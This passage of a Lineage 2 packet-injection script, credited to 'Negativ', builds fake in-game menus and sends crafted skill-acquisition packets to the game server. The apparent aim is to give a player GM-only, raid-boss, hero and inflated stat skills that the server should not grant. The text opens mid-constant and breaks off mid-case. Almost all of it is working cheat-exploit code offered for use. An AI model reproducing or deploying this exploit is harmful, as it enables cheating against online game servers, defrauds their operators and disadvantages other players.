'<img src="L2UI_CH3.herotower_deco" width=256 height=32>'+
'<font color="04fbfb">.::Demon Weapon::.</font><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br><td>'+
'<a action="bypass -h Demon Sword Zariche">Demon Sword Zariche</a>'+
'<a action="bypass -h Blood Sword Akamanah">Blood Sword Akamanah</a>'+
'<button value="Назад" action="bypass -h main" width=60 height=15 back="sek.cbui94" fore="sek.cbui92"><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<font color="04fbfb">.::Автор: Negativ::.</font><br>'+
'</center></body></html>';

const
HTML_Gm='<html><body><center>'+
'<img src="L2UI_CH3.herotower_deco" width=256 height=32>'+
'<font color="04fbfb">.::Гм Скилы::.</font><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br><td>'+
'<a action="bypass -h Super Haste">Super Haste</a>'+
'<a action="bypass -h Masters Blessing - Chant of Vctory">Masters Blessing - Chant of Vctory</a>'+
'<a action="bypass -h Masters Blessing - Haste">Masters Blessing - Haste</a>'+
'<a action="bypass -h Masters Blessing - Wind Walk">Masters Blessing - Wind Walke</a>'+
'<a action="bypass -h Masters Blessing - Greater Might">Masters Blessing - Greater Might</a>'+
'<a action="bypass -h Masters Blessing - Greater Shield">SMasters Blessing - Greater Shield</a>'+
'<a action="bypass -h Masters Blessing - Acumen">Masters Blessing - Acumen</a>'+
'<a action="bypass -h Masters Blessing - Bersekcer Spirit">Masters Blessing - Bersekcer Spirit</a>'+
'<a action="bypass -h Masters Blessing - Might">Masters Blessing - Might</a>'+
'<a action="bypass -h Masters Blessing - Shield">Masters Blessing - Shield</a>'+
'<a action="bypass -h Masters Blessing - Focus">Masters Blessing - Focus</a>'+
'<a action="bypass -h Masters Blessing - Death Whisper">Masters Blessing - Death Whisper</a>'+
'<a action="bypass -h Masters Blessing - Guidance">Masters Blessing - Guidance</a>'+
'<a action="bypass -h Masters Blessing - Blessed Body">Masters Blessing - Blessed Body</a>'+
'<a action="bypass -h Masters Blessing - Blessed Soul">Masters Blessing - Blessed Soul</a>'+
'<a action="bypass -h Masters Blessing - Agility">Masters Blessing - Agility</a>'+
'<a action="bypass -h Masters Blessing - Magic Barrier">Masters Blessing - Magic Barrier</a>'+
'<a action="bypass -h Masters Blessing - Empower">Masters Blessing - Empower</a>'+
'<a action="bypass -h Masters Blessing - Prophecy of Wind">Masters Blessing - Prophecy of Wind</a>'+
'<button value="Назад" action="bypass -h main" width=60 height=15 back="sek.cbui94" fore="sek.cbui92"><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<font color="04fbfb">.::Автор: Negativ::.</font><br>'+
'</center></body></html>';

const
HTML_HP='<html><body><center>'+
'<img src="L2UI_CH3.herotower_deco" width=256 height=32>'+
'<font color="04fbfb">.::HP/MP Increase::.</font><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br><td>'+
'<a action="bypass -h Increase HP x2">Increase HP x2</a>'+
'<a action="bypass -h Increase HP x3">Increase HP x3</a>'+
'<a action="bypass -h Increase HP x4">Increase HP x4</a>'+
'<a action="bypass -h Increase HP x5">Increase HP x5</a>'+
'<a action="bypass -h Increase HP x6">Increase HP x6</a>'+
'<a action="bypass -h Increase HP x7">Increase HP x7</a>'+
'<a action="bypass -h Increase HP x8">Increase HP x8</a>'+
'<a action="bypass -h Increase HP x9">Increase HP x9</a>'+
'<a action="bypass -h Increase HP x12">Increase HP x12</a>'+
'<a action="bypass -h Increase MP x12">Increase MP x12</a>'+
'<button value="Назад" action="bypass -h main" width=60 height=15 back="sek.cbui94" fore="sek.cbui92"><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<font color="04fbfb">.::Автор: Negativ::.</font><br>'+
'</center></body></html>';

const
HTML_stats='<html><body><center>'+
'<img src="L2UI_CH3.herotower_deco" width=256 height=32>'+
'<font color="04fbfb">.::STATS::.</font><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br><td>'+
'<a action="bypass -h DEX+60">DEX+60</a>'+
'<a action="bypass -h CON+45">CON+45</a>'+
'<a action="bypass -h STR+40">STR+40</a>'+
'<a action="bypass -h INT+65">INT+65</a>'+
'<a action="bypass -h WIT+40">WIT+40</a>'+
'<a action="bypass -h MEN+51">MEN+51</a>'+
'<button value="Назад" action="bypass -h main" width=60 height=15 back="sek.cbui94" fore="sek.cbui92"><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<font color="04fbfb">.::Автор: Negativ::.</font><br>'+
'</center></body></html>';

const
HTML_ultra='<html><body><center>'+
'<img src="L2UI_CH3.herotower_deco" width=256 height=32>'+
'<font color="04fbfb">.::Ultra Skills::.</font><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br><td>'+
'<a action="bypass -h Ultra P.Atk">Ultra P.Atk</a>'+
'<a action="bypass -h Ultra M.Atk">Ultra M.Atk</a>'+
'<a action="bypass -h Ultra P.Def">Ultra P.Def</a>'+
'<a action="bypass -h Ultra M.Def">Ultra M.Def</a>'+
'<a action="bypass -h Ultimate Buff">Ultimate Buff</a>'+
'<a action="bypass -h Ultimate Buff2">Ultimate Buff2</a>'+
'<a action="bypass -h Ultimate Buff3">Ultimate Buff3</a>'+
'<button value="Назад" action="bypass -h main" width=60 height=15 back="sek.cbui94" fore="sek.cbui92"><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<font color="04fbfb">.::Автор: Negativ::.</font><br>'+
'</center></body></html>';

const
HTML_Armor='<html><body><center>'+
'<img src="L2UI_CH3.herotower_deco" width=256 height=32>'+
'<font color="04fbfb">.::Ultra Skills::.</font><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br><td>'+
'<a action="bypass -h Light Armor Mastery">Light Armor Mastery</a>'+
'<a action="bypass -h Robe Mastery">Robe Mastery</a>'+
'<a action="bypass -h Heavy Armor Mastery">Heavy Armor Mastery</a>'+
'<a action="bypass -h Weapon Mastery">Weapon Mastery</a>'+
'<button value="Назад" action="bypass -h main" width=60 height=15 back="sek.cbui94" fore="sek.cbui92"><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<font color="04fbfb">.::Автор: Negativ::.</font><br>'+
'</center></body></html>';

const
HTML_epic='<html><body><center>'+
'<img src="L2UI_CH3.herotower_deco" width=256 height=32>'+
'<font color="04fbfb">.::Скилы Эпик бижи::.</font><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br><td>'+
'<a action="bypass -h Earring of Antharas">Earring of Antharas</a>'+
'<a action="bypass -h Earring of Orfen">Earring of Orfen</a>'+
'<a action="bypass -h Earring of Zaken">Earring of Zaken</a>'+
'<a action="bypass -h Necklace of Valakas">Necklace of Valakas</a>'+
'<a action="bypass -h Ring of Baium">Ring of Baium</a>'+
'<a action="bypass -h Ring of Core">Ring of Core</a>'+
'<a action="bypass -h Ring of Queen Ant">Ring of Queen Ant</a>'+
'<a action="bypass -h Frintezza''s Necklace">Frintezza''s Necklace</a><br>'+
'<button value="Назад" action="bypass -h main" width=60 height=15 back="sek.cbui94" fore="sek.cbui92"><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<font color="04fbfb">.::Автор: Negativ::.</font><br>'+
'</center></body></html>';

const
HTML_Inf='<html><body><center>'+
'<img src="L2UI_CH3.herotower_deco" width=256 height=32>'+
'<font color="04fbfb">.::Infinity Skills::.</font><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br><td>'+
'<a action="bypass -h Infinity Blade">Infinity Blade</a>'+
'<a action="bypass -h Infinity Axe">Infinity Axe</a>'+
'<a action="bypass -h Infinity Cleaver">Infinity Cleaver</a>'+
'<a action="bypass -h Infinity Crusher">Infinity Crusher</a>'+
'<a action="bypass -h Infinity Fang">Infinity Fang</a>'+
'<a action="bypass -h Infinity Stinger">Infinity Stinger</a>'+
'<a action="bypass -h Infinity Spear">Infinity Spear</a>'+
'<a action="bypass -h Infinity Bow">Infinity Bow</a>'+
'<a action="bypass -h Infinity Scepter">Infinity Scepter</a>'+
'<a action="bypass -h Infinity Rod">Infinity Rod</a><br>'+
'<button value="Назад" action="bypass -h main" width=60 height=15 back="sek.cbui94" fore="sek.cbui92"><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<font color="04fbfb">.::Автор: Negativ::.</font><br>'+
'</center></body></html>';

const
HTML_NBC='<html><body><center>'+
'<img src="L2UI_CH3.herotower_deco" width=256 height=32>'+
'<font color="04fbfb">.::Эпик РБ Скилы::.</font><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br><td>'+
'<br><font color="04fbfb">.::Baium Skills::.</font><br>'+
'<a action="bypass -h Baium: General Attack">Baium: General Attack</a>'+
'<a action="bypass -h Baium Gift">Baium Gift</a>'+
'<br><font color="04fbfb">.::Valakas Skills::.</font><br>'+
'<a action="bypass -h Valakas Lava Skin">Valakas Lava Skin</a>'+
'<a action="bypass -h Valakas Shock">Valakas Shock</a>'+
'<br><font color="04fbfb">.::Antharas Skills::.</font><br>'+
'<a action="bypass -h Antharas Shock">Antharas Shock</a>'+
'<br><font color="04fbfb">.::RB Skills::.</font><br>'+
'<a action="bypass -h BOSS Shield">BOSS Shield</a>'+
'<a action="bypass -h BOSS Stun shot">BOSS Stun shot</a>'+
'<a action="bypass -h Increase Rage Might">Increase Rage Might</a>'+
'<a action="bypass -h NPC dash">NPC dash</a>'+
'<font color="04fbfb">.::Автор: Negativ::.</font><br>'+
'<button value="Назад" action="bypass -h main" width=60 height=15 back="sek.cbui94" fore="sek.cbui92"><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<font color="04fbfb">.::Автор: Negativ::.</font><br>'+
'</center></body></html>';

const
HTML_Resist='<html><body><center>'+
'<img src="L2UI_CH3.herotower_deco" width=256 height=32>'+
'<font color="04fbfb">.::Resist Skills::.</font><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br><td>'+
'<a action="bypass -h Resist M.Atk">Resist M.Atk</a>'+
'<a action="bypass -h Resist Archery">Resist Archery</a>'+
'<a action="bypass -h Resist Physical Attack">Resist Physical Attack</a>'+
'<a action="bypass -h Resist Dagger">Resist Dagger</a>'+
'<a action="bypass -h Resist Two-handed Weapons">Resist Two-handed Weapons</a>'+
'<a action="bypass -h Resist Swords">Resist Swords</a>'+
'<a action="bypass -h Resist Dual-Sword Weapons">Resist Dual-Sword Weapons</a>'+
'<a action="bypass -h Resist Blunt Weapons">Resist Blunt Weapons</a>'+
'<a action="bypass -h Resist Hand-to-hand Weapons">Resist Hand-to-hand Weapons</a>'+
'<a action="bypass -h Resist Mental Derangement">Resist Mental Derangement</a>'+
'<a action="bypass -h Resist Paralysis">Resist Paralysis</a>'+
'<a action="bypass -h Resist Pole Arm">Resist Pole Arm</a>'+
'<a action="bypass -h Resist Sacred Attack">Resist Sacred Attack</a>'+
'<a action="bypass -h Resist Dark Attack">Resist Dark Attack</a>'+
'<a action="bypass -h Resist Hold">Resist Hold</a>'+
'<a action="bypass -h Resist Sleep">Resist Sleep</a><br>'+
'<button value="Назад" action="bypass -h main" width=60 height=15 back="sek.cbui94" fore="sek.cbui92"><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<font color="04fbfb">.::Автор: Negativ::.</font><br>'+
'</center></body></html>';

const
HTML_Set='<html><body><center>'+
'<img src="L2UI_CH3.herotower_deco" width=256 height=32>'+
'<font color="04fbfb">.::Resist Skills::.</font><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br><td>'+
'<font color="04fbfb">.::Armor Set (No Grade)::.</font><br>'+
'<a action="bypass -h Wooden Set">Wooden Set</a><br>'+
'<a action="bypass -h Devotion Set">Devotion Set</a><br>'+
'<font color="04fbfb">.::Armor Set (Grade D)::.</font><br>'+
'<a action="bypass -h Elven Mithril Set">Elven Mithril Set</a><br>'+
'<a action="bypass -h Knowledge Set">Knowledge Set</a><br>'+
'<a action="bypass -h Reinforced Leather Set">Reinforced Leather Set</a><br>'+
'<a action="bypass -h Manticore Set">Manticore Set</a><br>'+
'<a action="bypass -h Brigandine Set">Brigandine Set</a><br>'+
'<a action="bypass -h Mithril Heavy Armor Set">Mithril Heavy Armor Set</a><br>'+
'<font color="04fbfb">.::Armor Set (Grade C)::.</font><br>'+
'<a action="bypass -h Divine Set">Divine Set</a><br>'+
'<a action="bypass -h Karmian Set">Karmian Set</a><br>'+
'<a action="bypass -h Demon Set">Demon Set</a><br>'+
'<a action="bypass -h Drake Leather Set">Drake Leather Set</a><br>'+
'<a action="bypass -h Theca Leather Set">Theca Leather Set</a><br>'+
'<a action="bypass -h Plate Leather Set">Plate Leather Set</a><br>'+
'<a action="bypass -h Composite Set">Composite Set</a><br>'+
'<a action="bypass -h Chain Mail Set">Chain Mail Set</a><br>'+
'<a action="bypass -h Full Plate Set">Full Plate Set</a><br>'+
'<font color="04fbfb">.::Armor Set (Grade B)::.</font><br>'+
'<a action="bypass -h Doom Robe Set">Doom Robe Set</a><br>'+
'<a action="bypass -h Blue Wolf Robe Set">Blue Wolf Robe Set</a><br>'+
'<a action="bypass -h Avadon Robe Set">Avadon Robe Setp</a><br>'+
'<a action="bypass -h Zubei Robe Set">Zubei Robe Set</a><br>'+
'<a action="bypass -h Avadon Light Armor Set">Avadon Light Armor Set</a><br>'+
'<a action="bypass -h Zubei Light Armor Set">Zubei Light Armor Set</a><br>'+
'<a action="bypass -h Blue Wolf Light Armor Set">Blue Wolf Light Armor Set</a><br>'+
'<a action="bypass -h Doom Light Armor Set">Doom Light Armor Set</a><br>'+
'<a action="bypass -h Zubei Heavy Armor Set">Zubei Heavy Armor Set</a><br>'+
'<a action="bypass -h Avadon Heavy Armor Set">Avadon Heavy Armor Set</a><br>'+
'<a action="bypass -h Doom Heavy Armor Set">Doom Heavy Armor Setp</a><br>'+
'<a action="bypass -h Blue Wolf Heavy Armor Set">Blue Wolf Heavy Armor Set</a><br>'+
'<font color="04fbfb">.::Armor Set (Grade A)::.</font><br>'+
'<a action="bypass -h Majestic Robe Set">Majestic Robe Set</a><br>'+
'<a action="bypass -h Nightmare Robe Set">Nightmare Robe Set</a><br>'+
'<a action="bypass -h Tallum Robe Set">Tallum Robe Set</a><br>'+
'<a action="bypass -h Dark Crystal Robe Set">Dark Crystal Robe Set</a><br>'+
'<a action="bypass -h Majestic Light Armor Set">Majestic Light Armor Set</a><br>'+
'<a action="bypass -h Nightmare Light Armor Set">Nightmare Light Armor Set</a><br>'+
'<a action="bypass -h Tallum Light Armor Set">Tallum Light Armor Set</a><br>'+
'<a action="bypass -h Dark Crystal Light Armor Set">Dark Crystal Light Armor Set</a><br>'+
'<a action="bypass -h Nightmare Heavy Armor Set">Nightmare Heavy Armor Set</a><br>'+
'<a action="bypass -h Majestic Heavy Armor Set">Majestic Heavy Armor Set</a><br>'+
'<a action="bypass -h Tallum Heavy Armor Set">Tallum Heavy Armor Set</a><br>'+
'<a action="bypass -h Dark Crystal Heavy Armor Set">Dark Crystal Heavy Armor Set</a><br>'+
'<font color="04fbfb">.::Armor Set (Grade S)::.</font><br>'+
'<a action="bypass -h Major Arcana Robe Set">Major Arcana Robe Set</a><br>'+
'<a action="bypass -h Draconic Light Armor Set">Draconic Light Armor Set</a><br>'+
'<a action="bypass -h Imperial Crusader Heavy Armor Set">Imperial Crusader Heavy Armor Set</a><br>'+
'<button value="Назад" action="bypass -h main" width=60 height=15 back="sek.cbui94" fore="sek.cbui92"><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<font color="04fbfb">.::Автор: Negativ::.</font><br>'+
'</center></body></html>';

const
HTML_Hero='<html><body><center>'+
'<img src="L2UI_CH3.herotower_deco" width=256 height=32>'+
'<font color="04fbfb">.::Hero Skills::.</font><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br><td>'+
'<a action="bypass -h Heroic Berserker">Heroic Berserker</a>'+
'<a action="bypass -h Heroic Miracle">Heroic Miracle</a>'+
'<a action="bypass -h Heroic Dread">Heroic Dread</a>'+
'<a action="bypass -h Heroic Grandeur">Heroic Grandeur</a>'+
'<a action="bypass -h Blessing of Noblesse">Blessing of Noblesse</a>'+
'<button value="Назад" action="bypass -h main" width=60 height=15 back="sek.cbui94" fore="sek.cbui92"><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<font color="04fbfb">.::Автор: Negativ::.</font><br>'+
'</center></body></html>';

const
HTML_SA='<html><body><center>'+
'<img src="L2UI_CH3.herotower_deco" width=256 height=32>'+
'<font color="04fbfb">.::СА Скилы::.</font><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br><td>'+
'<a action="bypass -h Haste">Haste</a>'+
'<a action="bypass -h Guidance">Guidance</a>'+
'<a action="bypass -h Rsk.Agility">Rsk.Agility</a>'+
'<a action="bypass -h Critical Demage">Critical Demage</a>'+
'<a action="bypass -h Focus">Focus</a>'+
'<button value="Назад" action="bypass -h main" width=60 height=15 back="sek.cbui94" fore="sek.cbui92"><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<font color="04fbfb">.::Автор: Negativ::.</font><br>'+
'</center></body></html>';

const
HTML_DANCE='<html><body><center>'+
'<img src="L2UI_CH3.herotower_deco" width=256 height=32>'+
'<font color="04fbfb">.::Танцы::.</font><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br><td>'+
'<a action="bypass -h Dance of Fire">Dance of Fire</a>'+
'<a action="bypass -h Dance of Light">Dance of Light</a>'+
'<a action="bypass -h Dance of Inspiration">Dance of Inspiration</a>'+
'<a action="bypass -h Dance of Mystic">Dance of Mystic</a>'+
'<a action="bypass -h Dance of Concentration">Dance of Concentration</a>'+
'<a action="bypass -h Dance of Warrior">Dance of Warrior</a>'+
'<a action="bypass -h Dance of Fury">Dance of Fury</a>'+
'<a action="bypass -h Dance of Earth Guard">Dance of Earth Guard</a>'+
'<a action="bypass -h Dance of Protection">Dance of Protection</a>'+
'<a action="bypass -h Dance of Aqua Guard">Dance of Aqua Guard</a>'+
'<a action="bypass -h Dance of Vampire">Dance of Vampire</a>'+
'<a action="bypass -h Dance of Medusa">Dance of Medusa</a>'+
'<a action="bypass -h Dance of Siren">Dance of Siren</a>'+
'<button value="Назад" action="bypass -h main" width=60 height=15 back="sek.cbui94" fore="sek.cbui92"><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<font color="04fbfb">.::Автор: Negativ::.</font><br>'+
'</center></body></html>';

const
HTML_Song='<html><body><center>'+
'<img src="L2UI_CH3.herotower_deco" width=256 height=32>'+
'<font color="04fbfb">.::Песни::.</font><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br><td>'+
'<a action="bypass -h Song of Warding">Song of Warding</a>'+
'<a action="bypass -h Song of Invocation">Song of Invocation</a>'+
'<a action="bypass -h Song of Wind">Song of Wind</a>'+
'<a action="bypass -h Song of Hunter">Song of Hunter</a>'+
'<a action="bypass -h Song of Life">Song of Life</a>'+
'<a action="bypass -h Song of Earth">Song of Earth</a>'+
'<a action="bypass -h Song of Water">Song of Water</a>'+
'<a action="bypass -h Song of Flame Guard">Song of Flame Guard</a>'+
'<a action="bypass -h Song of Vitality">Song of Vitality</a>'+
'<a action="bypass -h Song of Storm Guard">Song of Storm Guard</a>'+
'<a action="bypass -h Song of Vengeance">Song of Vengeance</a>'+
'<a action="bypass -h Song of Meditation">Song of Meditation</a>'+
'<a action="bypass -h Song of Renewal">Song of Renewal</a>'+
'<a action="bypass -h Song of Champion">Song of Champion</a><br>'+
'<button value="Назад" action="bypass -h main" width=60 height=15 back="sek.cbui94" fore="sek.cbui92"><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<font color="04fbfb">.::Автор: Negativ::.</font><br>'+
'</center></body></html>';

const
HTML_Buff='<html><body><center>'+
'<img src="L2UI_CH3.herotower_deco" width=256 height=32>'+
'<font color="04fbfb">.::Buff::.</font><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br><td>'+
'<a action="bypass -h Wind Walk">Wind Walk</a>'+
'<a action="bypass -h Shield">Shield</a>'+
'<a action="bypass -h Might">Might</a>'+
'<a action="bypass -h Bless Shield">Bless Shield</a>'+
'<a action="bypass -h Death Whisper">Death Whisper</a>'+
'<a action="bypass -h Guidancee">Guidance</a>'+
'<a action="bypass -h Mental Shield">Mental Shield</a>'+
'<a action="bypass -h Bless the Body">Bless the Body</a>'+
'<a action="bypass -h Bless the Soul">Bless the Soul</a>'+
'<a action="bypass -h Concentration">Concentration</a>'+
'<a action="bypass -h Focuss">Focus</a>'+
'<a action="bypass -h Hastee">Haste</a>'+
'<a action="bypass -h Magic Barrier">Magic Barrier</a>'+
'<a action="bypass -h Acumen">Acumen</a>'+
'<a action="bypass -h Berserker Spirit">Berserker Spirit</a>'+
'<a action="bypass -h Kiss of Eva">Kiss of Eva</a>'+
'<a action="bypass -h Regeneration">Regeneration</a>'+
'<a action="bypass -h Empower">Empower</a>'+
'<a action="bypass -h Wild Magic">Wild Magic</a>'+
'<a action="bypass -h Resist Shock">Resist Shock</a>'+
'<a action="bypass -h Agility">Agility</a>'+
'<a action="bypass -h Prophecy of Water">Prophecy of Water</a>'+
'<a action="bypass -h Prophecy of Wind">Prophecy of Wind</a>'+
'<a action="bypass -h Prophecy of Fire">Prophecy of Fire</a>'+
'<a action="bypass -h Chant of Victory">Chant of Victory</a><br>'+
'<button value="Назад" action="bypass -h main" width=60 height=15 back="sek.cbui94" fore="sek.cbui92"><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<font color="04fbfb">.::Автор: Negativ::.</font><br>'+
'</center></body></html>';


Procedure ShowHTML( _html : string );
begin
buf:=#$00f;
WriteD(5);
WriteS(_HTML);
SendToClient;
end;

Procedure LearnSkill( skillId : integer; level : integer );
begin
buf:=#$6C;
WriteD(skillId);
WriteD(level);
WriteD(0);
SendToServer;
delay(100);
end;

begin
if FromClient and (pck=#$38#$46#$00#$69#$00#$72#$00#$65#$00#$43#$00# $61#$00#$74#$00#$00#$00#$03#$00#$00#$00) then
begin
ShowHTML(HTML);
end;

if FromClient and (pck[1]=#$21) then
begin
Bypass:=ReadS(2);
case Bypass of
'main' : ShowHTML(HTML);
'Demon Weapon' : ShowHTML(HTML_Zariche);
'GM Скилы' : ShowHTML(HTML_Gm);
'HP/MP Increase' : ShowHTML(HTML_HP);
'Stats' : ShowHTML(HTML_stats);
'Ultra Skills' : ShowHTML(HTML_ultra);
'Armor Mastery' : ShowHTML(HTML_Armor);
'Epic' : ShowHTML(HTML_epic);
'Infinity' : ShowHTML(HTML_Inf);
'NBC' : ShowHTML(HTML_NBC);
'Resist' : ShowHTML(HTML_Resist);
'Set Skill' : ShowHTML(HTML_Set);
'Hero Skills' : ShowHTML(HTML_Hero);
'SA' : ShowHTML(HTML_SA);
'Dance' : ShowHTML(HTML_DANCE);
'Song' : ShowHTML(HTML_Song);
'Buff' : ShowHTML(HTML_Buff);



{ Demon Weapon }
'Demon Sword Zariche' : Begin LearnSkill( 3603, 10); ShowHTML(HTML_Zariche); end;
'Blood Sword Akamanah' : Begin LearnSkill( 3629, 10); ShowHTML(HTML_Zariche); end;

{GM Скилы}
'Super Haste' : Begin LearnSkill( 7029 , 4); ShowHTML(HTML_Gm); end;
'Masters Blessing - Chant of Vctory' : Begin LearnSkill( 7064 , 1); ShowHTML(HTML_Gm); end;
'Masters Blessing - Haste' : Begin LearnSkill( 7043 , 1); ShowHTML(HTML_Gm); end;
'Masters Blessing - Wind Walk' : Begin LearnSkill( 7055 , 1); ShowHTML(HTML_Gm); end;
'Masters Blessing - Greater Might' : Begin LearnSkill( 7057 , 1); ShowHTML(HTML_Gm); end;
'Masters Blessing - Greater Shield' : Begin LearnSkill( 7058 , 1); ShowHTML(HTML_Gm); end;
'Masters Blessing - Acumen' : Begin LearnSkill( 7048 , 1); ShowHTML(HTML_Gm); end;
'Masters Blessing - Bersekcer Spirit' : Begin LearnSkill( 7056 , 1); ShowHTML(HTML_Gm); end;
'Masters Blessing - Might' : Begin LearnSkill( 7050 , 1); ShowHTML(HTML_Gm); end;
'Masters Blessing - Shield' : Begin LearnSkill( 7051 , 1); ShowHTML(HTML_Gm); end;
'Masters Blessing - Focus' : Begin LearnSkill( 7041 , 1); ShowHTML(HTML_Gm); end;
'Masters Blessing - Death Whisper' : Begin LearnSkill( 7042 , 1); ShowHTML(HTML_Gm); end;
'Masters Blessing - Guidance' : Begin LearnSkill( 7044 , 1); ShowHTML(HTML_Gm); end;
'Masters Blessing - Blessed Body' : Begin LearnSkill( 7045 , 1); ShowHTML(HTML_Gm); end;
'Masters Blessing - Blessed Soul' : Begin LearnSkill( 7046 , 1); ShowHTML(HTML_Gm); end;
'Masters Blessing - Agility' : Begin LearnSkill( 7047 , 1); ShowHTML(HTML_Gm); end;
'Masters Blessing - Magic Barrier' : Begin LearnSkill( 7052 , 1); ShowHTML(HTML_Gm); end;
'Masters Blessing - Empower' : Begin LearnSkill( 7054 , 1); ShowHTML(HTML_Gm); end;
'Masters Blessing - Prophecy of Wind' : Begin LearnSkill( 7063 , 1); ShowHTML(HTML_Gm); end;

{HP/MP Increase}
'Increase HP x2' : Begin LearnSkill( 4303 , 1); ShowHTML(HTML_HP); end;
'Increase HP x3' : Begin LearnSkill( 4304 , 1); ShowHTML(HTML_HP); end;
'Increase HP x4' : Begin LearnSkill( 4305 , 1); ShowHTML(HTML_HP); end;
'Increase HP x5' : Begin LearnSkill( 4306 , 1); ShowHTML(HTML_HP); end;
'Increase HP x6' : Begin LearnSkill( 4307 , 1); ShowHTML(HTML_HP); end;
'Increase HP x7' : Begin LearnSkill( 4308 , 1); ShowHTML(HTML_HP); end;
'Increase HP x8' : Begin LearnSkill( 4309 , 1); ShowHTML(HTML_HP); end;
'Increase HP x9' : Begin LearnSkill( 4310 , 1); ShowHTML(HTML_HP); end;
'Increase HP x12' : Begin LearnSkill( 4408 ,20); ShowHTML(HTML_HP); end;
'Increase MP x12' : Begin LearnSkill( 4409 ,20); ShowHTML(HTML_HP); end;

{D-C-S-I-W-M}
'DEX+60' : Begin LearnSkill( 9005 , 60); ShowHTML(HTML_stats); end;
'CON+45' : Begin LearnSkill( 9004 , 45); ShowHTML(HTML_stats); end;
'STR+40' : Begin LearnSkill( 9006 , 40); ShowHTML(HTML_stats); end;
'INT+65' : Begin LearnSkill( 9001 , 40); ShowHTML(HTML_stats); end;
'WIT+40' : Begin LearnSkill( 9002 , 70); ShowHTML(HTML_stats); end;
'MEN+51' : Begin LearnSkill( 9003 , 51); ShowHTML(HTML_stats); end;

{Ultra Skills}
'Ultra P.Atk' : begin LearnSkill( 4410, 22 ); ShowHTML(HTML_ultra); end;
'Ultra M.Atk' : begin LearnSkill( 4411, 22 ); ShowHTML(HTML_ultra); end;
'Ultra P.Def' : begin LearnSkill( 4412, 22 ); ShowHTML(HTML_ultra); end;
'Ultra M.Def' : begin LearnSkill( 4413, 22 ); ShowHTML(HTML_ultra); end;
'Ultimate Buff' : begin LearnSkill( 4318, 1 ); ShowHTML(HTML_ultra); end;
'Ultimate Buff2' : begin LearnSkill( 4340, 1 ); ShowHTML(HTML_ultra); end;
'Ultimate Buff3' : begin LearnSkill( 4341, 1 ); ShowHTML(HTML_ultra); end;

{Armor Mastery}

'Light Armor Mastery' :
begin
LearnSkill( 227, 50 );
LearnSkill( 233, 47 );
LearnSkill( 236, 41 );
LearnSkill( 252, 45 );
LearnSkill( 258, 33 );
ShowHTML(HTML_Armor);
end;

'Robe Mastery' :
begin
LearnSkill( 234, 41 );
LearnSkill( 235, 41 );
LearnSkill( 251, 45 );
ShowHTML(HTML_Armor);
end;

'Heavy Armor Mastery' :
begin
LearnSkill( 231, 50 );
LearnSkill( 232, 52 );
LearnSkill( 253, 43 );
LearnSkill( 259, 33 );
ShowHTML(HTML_Armor);
end;

'Weapon Mastery' :
begin
LearnSkill( 141, 3 );
LearnSkill( 249, 42 );
